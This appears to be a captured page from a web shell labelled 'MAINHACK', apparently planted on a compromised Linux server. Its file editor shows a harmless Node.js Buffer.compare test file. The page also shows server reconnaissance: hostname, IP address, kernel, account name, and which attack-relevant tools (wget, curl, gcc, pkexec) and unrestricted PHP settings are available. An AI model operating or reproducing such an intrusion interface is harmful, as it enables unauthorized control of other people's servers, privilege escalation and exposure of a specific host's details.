[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test-buffer-compare-offset.js
'use strict'; var Buffer = require('../../').Buffer; var assert = require('assert'); var a = Buffer.from([1, 2, 3, 4, 5, 6, 7, 8, 9, 0]); var b = Buffer.from([5, 6, 7, 8, 9, 0, 1, 2, 3, 4]); assert.equal(-1, a.compare(b)); // Equivalent to a.compare(b). assert.equal(-1, a.compare(b, 0)); assert.equal(-1, a.compare(b, '0')); // Equivalent to a.compare(b). assert.equal(-1, a.compare(b, 0, undefined, 0)); // Zero-length targer, return 1 assert.equal(1, a.compare(b, 0, 0, 0)); assert.equal(1, a.compare(b, '0', '0', '0')); // Equivalent to Buffer.compare(a, b.slice(6, 10)) assert.equal(1, a.compare(b, 6, 10)); // Zero-length source, return -1 assert.equal(-1, a.compare(b, 6, 10, 0, 0)); // Equivalent to Buffer.compare(a.slice(4), b.slice(0, 5)) assert.equal(1, a.compare(b, 0, 5, 4)); // Equivalent to Buffer.compare(a.slice(1), b.slice(5)) assert.equal(1, a.compare(b, 5, undefined, 1)); // Equivalent to Buffer.compare(a.slice(2), b.slice(2, 4)) assert.equal(-1, a.compare(b, 2, 4, 2)); // Equivalent to Buffer.compare(a.slice(4), b.slice(0, 7)) assert.equal(-1, a.compare(b, 0, 7, 4)); // Equivalent to Buffer.compare(a.slice(4, 6), b.slice(0, 7)); assert.equal(-1, a.compare(b, 0, 7, 4, 6)); // zero length target assert.equal(1, a.compare(b, 0, null)); // coerces to targetEnd == 5 assert.equal(-1, a.compare(b, 0, {valueOf: () => 5})); // zero length target assert.equal(1, a.compare(b, Infinity, -Infinity)); // zero length target because default for targetEnd <= targetSource assert.equal(1, a.compare(b, '0xff')); var oor = /out of range index/; assert.throws(() => a.compare(b, 0, 100, 0), oor); assert.throws(() => a.compare(b, 0, 1, 0, 100), oor); assert.throws(() => a.compare(b, -1), oor); assert.throws(() => a.compare(b, 0, '0xff'), oor); assert.throws(() => a.compare(b, 0, Infinity), oor); assert.throws(() => a.compare(b, -Infinity, Infinity), oor); assert.throws(() => a.compare(), /Argument must be a Buffer/);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002